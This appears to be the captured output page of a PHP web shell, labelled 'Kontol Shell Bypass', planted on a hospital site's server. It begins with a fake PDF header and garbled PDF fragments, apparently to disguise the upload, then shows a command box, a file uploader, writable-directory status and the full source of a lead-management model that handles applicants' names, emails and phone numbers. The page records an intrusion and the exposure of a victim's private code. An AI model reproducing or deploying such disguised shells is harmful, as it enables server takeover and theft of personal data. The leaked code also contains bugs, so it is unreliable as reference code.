%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /var/www/html/shardahospital_old.org/lms/api/application/models/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : /var/www/html/shardahospital_old.org/lms/api/application/models/Leads_model.php
<?php 
class Leads_model extends CI_Model {
	function set_search_cond($qs, $lvOpt){
        /* if(!IS_ADMIN){
            $users=$this->user->active_users(true);
            $ids=[];
            foreach($users as $u){
                $ids[]=$u['id'];
            }
            $this->db->where_in("A.created_by", $ids);
        } */

		if($lvOpt['states'] && $lvOpt['cities']){
			$this->db->group_start();
				foreach($lvOpt['states'] as $i=>$state_id){
					if($i==0){
						$this->db->group_start();
					}else{
						$this->db->or_group_start();
					}
						$this->db->where("A.state_id", $state_id);
						if($lvOpt['cities'][$state_id]){
							$lvOpt['cities'][$state_id][]=0;
							$this->db->where_in("A.city_id", $lvOpt['cities'][$state_id]);
						}

					$this->db->group_end();
				}
			$this->db->group_end();
		}else if($lvOpt['states']){
			$this->db->where_in("A.state_id", $lvOpt['states']);
		}

		if($lvOpt['programs']){
			$this->db->where_in("P.id", $lvOpt['programs']);
		}
		if($lvOpt['utm_sources']){
			$this->db->where_in("A.utm_source_id", $lvOpt['utm_sources']);
		}
		if($lvOpt['lead_date_from']){
			$this->db->where("A.created >=", date('Y-m-d', strtotime($lvOpt['lead_date_from'])));
		}
		if($lvOpt['lead_date_to']){
			$this->db->where("A.created <=", date('Y-m-d 23:59:59', strtotime($lvOpt['lead_date_to'])));
        }
		
		if($qs['k']){
			if(LEAD_RESTRICT){
				$this->db->group_start()
					->where('A.name', $qs['k'])
					->or_where('A.email', $qs['k'])
					->or_where('A.mob', $qs['k'])
					->or_where('A.application_no', $qs['k'])
				->group_end();
			}else{
				$this->db->group_start()
					->like('A.name', $qs['k'])
					->or_like('A.email', $qs['k'])
					->or_like('A.mob', $qs['k'])
					->or_like('A.application_no', $qs['k'])
				->group_end();
			}
		}
		
		if($qs['utm_group']){
			$utmids=$this->db->select("id")->get_where("master_utm_sources", array('grp'=>$qs['utm_group']))->result_array();
			$sids=[];
			foreach($utmids as $r){
				$sids[]=$r['id'];
			}
			if($sids){
				$this->db->where_in("A.utm_source_id", $sids);
			}
		}
		if($qs['utm_source_id']){
			$this->db->where_in("A.utm_source_id", $qs['utm_source_id']);
		}
		if($qs['utm_campaign']){
			$this->db->where_in("A.utm_campaign", $qs['utm_campaign']);
		}
		if($qs['utm_medium']){
			$this->db->where_in("A.utm_medium", $qs['utm_medium']);
		}

        if($qs['date_for']==1){
            $datec="A.created";
        }else{
            $datec="A.appointment_datetime";
        }

        if(!LEAD_RESTRICT){
            if($qs['fromDate']){
                $this->db->where("$datec >=", date('Y-m-d', strtotime($qs['fromDate'])));
            }
            if($qs['toDate']){
                $this->db->where("$datec <=", date('Y-m-d 23:59:59', strtotime($qs['toDate'])));
            }
        }
		
		if($qs['program_id']){
			$this->db->where_in("P.id", $qs['program_id']);
		}
		if($qs['state_id']){
			$this->db->where_in("A.state_id", $qs['state_id']);
		}
		if($qs['city_id']){
			$this->db->where_in("A.city_id", $qs['city_id']);
		}
		if($qs['lpage_id']){
			$this->db->where_in("A.lpage_id", $qs['lpage_id']);
        }
        if($qs['verified_by']){
			$this->db->where("A.verified_by", $qs['verified_by']);
        }

        /* if($qs['remarks_id']){
			$this->db->where_in("AR.remarks_id", $qs['remarks_id']);
        } */

        if($qs['created_by']){
            $this->db->where("A.created_by", $qs['created_by']);
        }
	}

	function lists($export=false){
		$md=$this->common->master_data_for_leads();

		$qs=trim_array($_REQUEST);
		$lvOpt=$this->dataset->detail(0, USER_ID);
		if($lvOpt['expiry_date'] && strtotime($lvOpt['expiry_date'])<strtotime(date('Y-m-d'))){
			return [];
		}
		$this->set_search_cond($qs, $lvOpt);
        $this->db->select("A.id, A.application_no, A.created leadCreated, A.updated leadUpdated,
                           A.name, A.email, A.mob, A.city, A.pincode, A.verified_by, A.state_id, A.lpage_id, A.appointment_datetime,
                           A.utm_source, A.utm_campaign, A.utm_medium, A.utm_term, A.utm_content, A.utm_keyword, A.utm_placement,
						   A.followup_by, A.created_by, P.title program", FALSE)
		->from("applicants A")
		->join("master_programs P", "P.id=A.program_id");

        switch($qs['orderby']){
            case 'aptdate_asc': $this->db->order_by("A.appointment_datetime", "ASC");   break;
            case 'aptdate_desc': $this->db->order_by("A.appointment_datetime", "DESC"); break;

            case 'created_asc': $this->db->order_by("A.created", "ASC");   break;
            case 'created_asc': $this->db->order_by("A.created", "DESC"); break;

            default: $this->db->order_by("A.id", "DESC"); break;
        }

        if($export){
            $rs=$this->dba->pagedRows(1, 500000, 5, 0);
        }else{
            $rs=$this->dba->pagedRows($qs['p'], 50, 5);
        }
        
        if($rs['result']){
            $users=key_val_array($this->user->active_users(), 'id', 'name');
            foreach($rs['result'] as &$r){
                $r['state']=$md['states'][$r['state_id']];
                $r['lpage']=$md['lpages'][$r['lpage_id']];
                
                $r['leadCreated']=get_date($r['leadCreated'], true);
                $r['leadUpdated']=get_date($r['leadUpdated'], true);
                
                $r['appointment_datetime']=get_date($r['appointment_datetime'], true);
                $r['followup_by']=(int)$r['followup_by'];
                $r['usr']=$r['created_by']?$users[$r['created_by']]:'Self Registered';

                unset($r['state_id'], $r['lpage_id'], $r['utm_source_id']);
            }
		
			$rs['result']=filterLeadData($rs['result'], $lvOpt);
		}
		return $rs;
	}

	function listsStepZero($export=FALSE){
		$qs=trim_array($_REQUEST);
		if($qs['utm_source_id']){
			$res=$this->db->select("title")->from("master_utm_sources")->where_in("id", $qs['utm_source_id'])->get()->result_array();
			$sources=[];
			foreach($res as $s){
				$sources[]=$s['title'];
			}
		}

		$lvOpt=$this->dataset->detail(0, USER_ID);
		if($lvOpt['utm_sources']){
			$res=$this->db->select("title")->from("master_utm_sources")->where_in("id", $lvOpt['utm_sources'])->get()->result_array();
			$sources_lv=[];
			foreach($res as $s){
				$sources_lv[]=$s['title'];
			}
		}

		if($lvOpt['expiry_date'] && strtotime($lvOpt['expiry_date'])<strtotime(date('Y-m-d'))){
			return [];
		}
		
		if($lvOpt['states']){
			$this->db->where_in("A.state_id", $lvOpt['states']);
		}
		if($lvOpt['programs']){
			$this->db->where_in("P.id", $lvOpt['programs']);
		}
		if($lvOpt['utm_sources']){
			$this->db->where_in("A.utm_source", $sources_lv);
		}

		if($qs['k']){
			$this->db->group_start()
				->like('A.name', $qs['k'])
				->or_like('A.email', $qs['k'])
				->or_like('A.mob', $qs['k'])
			->group_end();
		}
		if($qs['type_id']){
			$this->db->where("P.type_id", $qs['type_id']);
		}
		if($qs['utm_source_id']){
			$this->db->where_in("A.utm_source", $sources);
		}
		if($qs['fromDate']){
			$this->db->where("A.created >=", date('Y-m-d', strtotime($qs['fromDate'])));
		}
		if($qs['toDate']){
			$this->db->where("A.created <=", date('Y-m-d 23:59:59', strtotime($qs['toDate'])));
		}
        
		$this->db->select("A.id, A.created AS leadCreated, PP.title AS plan, P.title AS program, PP.ac_code, PP.program_code AS prgCode, PP.code AS planCode, 
        A.name, A.email, A.mob, S.title AS state, S.code AS stateCode, LP.title AS lpage, A.utm_source, A.utm_campaign, A.utm_medium, A.utm_term, A.utm_content, 
        A.utm_keyword, A.utm_placement")
		->from("tmp_applicants AS U")
		->join("landing_pages AS LP", "LP.id=A.lpage_id")
		->join("master_states AS S", "S.id=A.state_id", "LEFT")
		->join("master_program_plans AS PP", "PP.id=A.plan_id", "LEFT")
		->join("master_programs AS P", "P.id=PP.program_id", "LEFT")
		->order_by("A.id", "DESC");
		
		$ps=50;
        if($export){
			$qs['p']=1;
            $ps=100000;
        }
        $rs=$this->dba->pagedRows($qs['p'], $ps, 5, $export?'0':'');
		
		foreach($rs['result'] as &$r){
			$r['step_completed']='0';
			$r['leadCreated']=get_date($r['leadCreated'], true);
			$r['utm_source']=$r['utm_source']?$r['utm_source']:'N/A';
		}

		if($rs['result']){
			$rs['result']=filterLeadData($rs['result'], $lvOpt);
		}
		return $rs;
	}
	
	function delete($id){
		$this->db->db_debug=FALSE;
		return $this->db->delete("applicants", array('id'=>$id));
	}

	function save($post){
		$err = FALSE;
		$this->db->trans_strict(FALSE);
        $this->db->trans_begin();
		
		try{
            $id=$this->dba->save("applicants", replace_null($post));
            if(!$post['id']){
                $num=$this->common->getCounter('application_no_count');
                $d=['verified_by'=>'OFFLINE', 'application_no'=>date('Y').zero_format_no($num)];
                $this->db->update("applicants", $d, ['id'=>$id]);
            }
		}catch(Exception $e) {
            $err = TRUE;
            $msg = $e->getMessage();
        }
		
		if($this->db->trans_status() === FALSE) {
            $err = TRUE;
        }
		
		if ($err) {
            $this->db->trans_rollback();
			return FALSE;
        } else {
            $this->db->trans_commit();
			return TRUE;
        }
	}

    /** */
    function detail_to_edit($id){
        $dtl=$this->db->select("A.*")->from("applicants A")->where(array('A.id'=>$id))->get()->row_array();
        if($dtl){
            $dtl['appointment_date']=get_date($dtl['appointment_datetime']);
            $dtl['appointment_time']=get_date($dtl['appointment_datetime'], '', 'h:i A');
            $dtl['lpage_id']=$dtl['lpage_id']?$dtl['lpage_id']:'';
        }
        return $dtl;
    }

	function detail($id, $filter=true){
		$rs=$this->db->select("A.*, P.title program, P.image progImage, P.brochure progBrochure")
        ->from("applicants A")
        ->join("master_programs P", "A.program_id=P.id")
        ->where(array('A.id'=>$id))
        ->get()->row_array();
		
		$dtl=[];
		if($rs){
            $rs['progImageUrl']=$rs['progImage']?UP_URLF.'programs_images/'.$rs['progImage']:'';
            $rs['progBrochureUrl']=$rs['progBrochure']?UP_URLF.'brochure/'.$rs['progBrochure']:'';
            $rs['progBrochureDwnUrl']=$rs['progBrochure']?(URL.'common/downloadFile/'.encode(UP_PATHF.'brochure/'.$rs['progBrochure'])):'';
            
            $rs['state']=$this->db->select("title")->get_where("master_states", array('id'=>$rs['state_id']))->row()->title;
            $rs['lpage']=rtrim($this->db->select("title")->get_where("landing_pages", array('id'=>$rs['lpage_id']))->row()->title, "/");
            //$rs['utmSource']=$this->db->select("title")->get_where("master_utm_sources", array('id'=>$rs['utm_source_id']))->row()->title;
            //$rs['loginUrl']=generate_login_url($rs['lpage'], $rs['mob']);

			$rs['leadCreated']=get_date($rs['created'], true);
            $rs['leadUpdated']=get_date($rs['updated'], true);
            $rs['lpage']=$rs['lpage']?$rs['lpage']:'N/A';
			$rs['utm_source']=$rs['utm_source']?$rs['utm_source']:'N/A';
			$rs['utm_campaign']=$rs['utm_campaign']?$rs['utm_campaign']:'N/A';
			$rs['utm_medium']=$rs['utm_medium']?$rs['utm_medium']:'N/A';
			$rs['utm_term']=$rs['utm_term']?$rs['utm_term']:'N/A';
			$rs['utm_content']=$rs['utm_content']?$rs['utm_content']:'N/A';
			$rs['utm_keyword']=$rs['utm_keyword']?$rs['utm_keyword']:'N/A';
            $rs['utm_placement']=$rs['utm_placement']?$rs['utm_placement']:'N/A';
            $rs['appointment_datetime']=get_date($rs['appointment_datetime'], true);
            
            if($filter){
				$lvOpt=$this->dataset->detail(0, USER_ID);
				$rs=filterLeadData($rs, $lvOpt, TRUE);
				$dtl=$rs[0];
			}else{
				$dtl=$rs;
			}
		}
		return $dtl;
    }

	/** Follow-ups */
	function remarks_cats(){
		return $this->db->select('id,title')->from('master_lead_remarks_cats')->order_by('disp_odr')->get()->result_array();
	}
	function remarks(){
		$rs=$this->db->select("id, cat_id, title")->from("master_lead_remarks")->where("status",1)->order_by("disp_odr")->get()->result_array();
		foreach($rs as &$r){
			$r['subremarks']=$this->db->select("title")->order_by("disp_odr")->get_where("master_lead_subremarks", array('remarks_id'=>$r['id']))->result_array();
		}
		return $rs;
	}
    function get_follow_ups($id){
        $rs=$this->db->select("AR.id, AR.applicant_id, MR.title remarks, AR.subremarks, AR.feedback, AR.created, U.name usr")
            ->from("applicants_remarks AR")
            ->join("master_lead_remarks MR", "AR.remarks_id=MR.id")
            ->join("users U", "AR.created_by=U.id")
            ->where("AR.applicant_id", $id)
            ->order_by("AR.id")
            ->get()->result_array();
        if($rs){
            foreach($rs as &$r){
                $r['created']=get_date($r['created'], true);
            }
        }
        return $rs;
    }
	function follow_up_detail($id=0){
		$rs['dtl']=$this->db->select("AR.id, AR.applicant_id, AR.remarks_id, AR.subremarks, AR.feedback")->from("applicants_remarks AR")->where("AR.id", $id)->get()->row_array();
		if($rs['dtl']){
			$rs['dtl']['cat_id']=$this->db->select("cat_id")->get_where("master_lead_remarks", ['id'=>$rs['dtl']['remarks_id']])->row()->cat_id;
			$rs['subremarks']=$this->db->select("title")->order_by("disp_odr")->get_where("master_lead_subremarks", array('remarks_id'=>$rs['dtl']['remarks_id']))->result_array();
		}
		return $rs;
	}
	function delete_follow_up($id){
		$this->db->db_debug=FALSE;
		return $this->db->delete("applicants_remarks", array('id'=>$id));
	}
}

//End of file

Kontol Shell Bypass